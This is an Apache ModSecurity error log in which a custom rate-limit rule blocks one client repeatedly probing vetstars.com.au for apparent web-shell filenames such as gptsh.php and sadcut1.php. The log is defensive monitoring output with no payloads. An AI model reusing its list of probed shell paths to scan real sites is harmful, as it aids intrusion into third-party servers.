[Sun Apr 12 08:27:30.602391 2026] [:error] [pid 26567:tid 26585] [client 4.232.184.116:11228] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adrm8nhRpg6ptWFyFx0ungAAARA"]
[Sun Apr 12 08:27:31.192514 2026] [:error] [pid 26600:tid 26645] [client 4.232.184.116:11147] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adrm8-1YwAZiXhQKLYqewQAAAZA"]
[Sun Apr 12 08:27:31.765968 2026] [:error] [pid 26567:tid 26577] [client 4.232.184.116:11210] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adrm83hRpg6ptWFyFx0unwAAAQg"]
[Sun Apr 12 08:27:32.377868 2026] [:error] [pid 60280:tid 60297] [client 4.232.184.116:11168] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "adrm9HBlLnDOYuIykkgjoQAAAc8"]
[Sun Apr 12 08:27:32.847565 2026] [:error] [pid 25329:tid 25382] [client 4.232.184.116:11226] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adrm9GdcIYsS8Iyaj11e8QAAAIQ"]
[Sun Apr 12 08:27:33.504220 2026] [:error] [pid 26567:tid 26587] [client 4.232.184.116:11022] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adrm9XhRpg6ptWFyFx0uoQAAARI"]
[Sun Apr 12 08:27:34.138390 2026] [:error] [pid 25327:tid 25350] [client 4.232.184.116:11160] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adrm9i6h2tZEVJo9JFJpuwAAAA4"]
[Sun Apr 12 08:27:34.759765 2026] [:error] [pid 26567:tid 26583] [client 4.232.184.116:11242] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "adrm9nhRpg6ptWFyFx0upwAAAQ4"]
[Sun Apr 12 08:27:35.412912 2026] [:error] [pid 25437:tid 25460] [client 4.232.184.116:11255] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adrm93f97wYZje1ep_N--QAAANU"]
[Sun Apr 12 08:27:36.042129 2026] [:error] [pid 25437:tid 25448] [client 4.232.184.116:11013] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adrm-Hf97wYZje1ep_N_AAAAAMk"]
[Sun Apr 12 08:27:36.769190 2026] [:error] [pid 26600:tid 26648] [client 4.232.184.116:11249] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adrm-O1YwAZiXhQKLYqexgAAAZM"]
[Sun Apr 12 08:27:37.317941 2026] [:error] [pid 25437:tid 25461] [client 4.232.184.116:11059] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adrm-Xf97wYZje1ep_N_CQAAANY"]
[Sun Apr 12 08:27:46.177819 2026] [:error] [pid 25328:tid 25367] [client 4.232.184.116:11249] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adrnAsxUaQZxT-e0YsAkfwAAAEM"]
[Sun Apr 12 08:27:48.271569 2026] [:error] [pid 25437:tid 25450] [client 4.232.184.116:11238] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adrnBHf97wYZje1ep_N_IgAAAMs"]
[Sun Apr 12 08:27:50.161192 2026] [:error] [pid 26567:tid 26586] [client 4.232.184.116:11202] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adrnBnhRpg6ptWFyFx0uxAAAARE"]
[Sun Apr 12 08:27:52.013830 2026] [:error] [pid 25327:tid 25354] [client 4.232.184.116:11212] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adrnCC6h2tZEVJo9JFJpzgAAABI"]
[Sun Apr 12 08:27:53.083764 2026] [:error] [pid 25437:tid 25461] [client 4.232.184.116:11254] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adrnCXf97wYZje1ep_N_LQAAANY"]
[Sun Apr 12 08:27:54.984942 2026] [:error] [pid 25437:tid 25440] [client 4.232.184.116:11253] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adrnCnf97wYZje1ep_N_MgAAAME"]
[Sun Apr 12 08:27:56.362654 2026] [:error] [pid 26567:tid 26586] [client 4.232.184.116:11211] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adrnDHhRpg6ptWFyFx0uzQAAARE"]
[Sun Apr 12 08:27:57.078567 2026] [:error] [pid 26600:tid 26630] [client 4.232.184.116:11123] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "adrnDe1YwAZiXhQKLYqe0QAAAYE"]
[Sun Apr 12 08:27:58.202962 2026] [:error] [pid 25327:tid 25342] [client 4.232.184.116:11105] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adrnDi6h2tZEVJo9JFJp1gAAAAY"]
[Sun Apr 12 08:27:59.116002 2026] [:error] [pid 26600:tid 26635] [client 4.232.184.116:11080] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adrnD-1YwAZiXhQKLYqe1QAAAYY"]
[Sun Apr 12 08:28:01.973366 2026] [:error] [pid 26600:tid 26639] [client 4.232.184.116:11241] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adrnEe1YwAZiXhQKLYqe2gAAAYo"]
[Sun Apr 12 08:28:02.801621 2026] [:error] [pid 60280:tid 60296] [client 4.232.184.116:11240] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "adrnEnBlLnDOYuIykkgjtAAAAc4"]
[Sun Apr 12 08:28:03.386195 2026] [:error] [pid 26599:tid 26613] [client 4.232.184.116:11181] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adrnE3G89LXoQbk_rwB0agAAAUs"]
[Sun Apr 12 08:28:03.999487 2026] [:error] [pid 25327:tid 25351] [client 4.232.184.116:11127] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adrnEy6h2tZEVJo9JFJp3wAAAA8"]
[Sun Apr 12 08:28:04.554512 2026] [:error] [pid 25437:tid 25449] [client 4.232.184.116:11216] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adrnFHf97wYZje1ep_N_PgAAAMo"]
[Sun Apr 12 08:28:06.072697 2026] [:error] [pid 25437:tid 25443] [client 4.232.184.116:11258] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "adrnFnf97wYZje1ep_N_RAAAAMQ"]
[Sun Apr 12 08:28:06.819168 2026] [:error] [pid 26600:tid 26644] [client 4.232.184.116:11136] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adrnFu1YwAZiXhQKLYqe4wAAAY8"]
[Sun Apr 12 08:28:08.181536 2026] [:error] [pid 25437:tid 25439] [client 4.232.184.116:11025] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adrnGHf97wYZje1ep_N_SQAAAMA"]
[Sun Apr 12 08:28:09.679723 2026] [:error] [pid 26567:tid 26578] [client 4.232.184.116:11166] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adrnGXhRpg6ptWFyFx0u2wAAAQk"]
[Sun Apr 12 08:28:10.249661 2026] [:error] [pid 25437:tid 25462] [client 4.232.184.116:11223] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adrnGnf97wYZje1ep_N_UQAAANc"]
[Sun Apr 12 08:28:10.748071 2026] [:error] [pid 60280:tid 60300] [client 4.232.184.116:11188] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adrnGnBlLnDOYuIykkgjuQAAAdI"]
[Sun Apr 12 08:28:11.337562 2026] [:error] [pid 25328:tid 25380] [client 4.232.184.116:11097] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adrnG8xUaQZxT-e0YsAkkgAAAEw"]
[Sun Apr 12 08:28:12.233996 2026] [:error] [pid 25328:tid 25379] [client 4.232.184.116:11167] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adrnHMxUaQZxT-e0YsAkmAAAAEs"]
[Sun Apr 12 08:28:12.741841 2026] [:error] [pid 25328:tid 25391] [client 4.232.184.116:11077] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adrnHMxUaQZxT-e0YsAkmwAAAFE"]
[Sun Apr 12 08:28:13.318655 2026] [:error] [pid 26567:tid 26570] [client 4.232.184.116:11082] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adrnHXhRpg6ptWFyFx0u4AAAAQE"]
[Sun Apr 12 08:28:13.818826 2026] [:error] [pid 25328:tid 25396] [client 4.232.184.116:10973] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adrnHcxUaQZxT-e0YsAknQAAAFM"]
[Sun Apr 12 08:28:14.287062 2026] [:error] [pid 26567:tid 26578] [client 4.232.184.116:11027] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adrnHnhRpg6ptWFyFx0u6QAAAQk"]
[Sun Apr 12 08:28:14.765939 2026] [:error] [pid 25437:tid 25448] [client 4.232.184.116:11239] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adrnHnf97wYZje1ep_N_VgAAAMk"]
[Sun Apr 12 08:28:15.376912 2026] [:error] [pid 26567:tid 26573] [client 4.232.184.116:11095] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "adrnH3hRpg6ptWFyFx0u8QAAAQQ"]
[Sun Apr 12 08:28:15.962029 2026] [:error] [pid 25437:tid 25446] [client 4.232.184.116:11256] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "adrnH3f97wYZje1ep_N_WQAAAMc"]
[Sun Apr 12 08:28:16.554646 2026] [:error] [pid 25329:tid 25390] [client 4.232.184.116:11197] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "adrnIGdcIYsS8Iyaj11fAgAAAIg"]
[Sun Apr 12 08:28:17.182180 2026] [:error] [pid 25329:tid 25402] [client 4.232.184.116:11156] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "adrnIWdcIYsS8Iyaj11fBQAAAI8"]
[Sun Apr 12 08:28:17.657288 2026] [:error] [pid 25327:tid 25347] [client 4.232.184.116:11140] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adrnIS6h2tZEVJo9JFJp6AAAAAs"]
[Sun Apr 12 08:28:18.191652 2026] [:error] [pid 26567:tid 26582] [client 4.232.184.116:11114] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adrnInhRpg6ptWFyFx0u-wAAAQ0"]
[Sun Apr 12 08:28:18.916504 2026] [:error] [pid 25437:tid 25452] [client 4.232.184.116:11201] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adrnInf97wYZje1ep_N_ZAAAAM0"]
[Sun Apr 12 08:28:19.646156 2026] [:error] [pid 25329:tid 25392] [client 4.232.184.116:11248] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adrnI2dcIYsS8Iyaj11fCAAAAIk"]
[Sun Apr 12 08:28:20.560548 2026] [:error] [pid 25329:tid 25393] [client 4.232.184.116:11020] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adrnJGdcIYsS8Iyaj11fCwAAAIo"]
[Sun Apr 12 08:28:21.665003 2026] [:error] [pid 25328:tid 25366] [client 4.232.184.116:11149] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adrnJcxUaQZxT-e0YsAkogAAAEI"]
[Sun Apr 12 08:28:22.973717 2026] [:error] [pid 25328:tid 25403] [client 4.232.184.116:11159] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adrnJsxUaQZxT-e0YsAkowAAAFY"]
[Sun Apr 12 08:28:24.350349 2026] [:error] [pid 25437:tid 25443] [client 4.232.184.116:11180] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "adrnKHf97wYZje1ep_N_cAAAAMQ"]
[Sun Apr 12 08:28:26.380512 2026] [:error] [pid 25328:tid 25391] [client 4.232.184.116:11162] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adrnKsxUaQZxT-e0YsAkpgAAAFE"]
[Sun Apr 12 08:28:27.892726 2026] [:error] [pid 25327:tid 25356] [client 4.232.184.116:11063] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adrnKy6h2tZEVJo9JFJp7wAAABQ"]
[Sun Apr 12 08:28:30.050214 2026] [:error] [pid 60280:tid 60289] [client 4.232.184.116:11023] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adrnLnBlLnDOYuIykkgjyQAAAcc"]
[Sun Apr 12 08:28:31.056760 2026] [:error] [pid 25437:tid 25460] [client 4.232.184.116:11051] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adrnL3f97wYZje1ep_N_hQAAANU"]
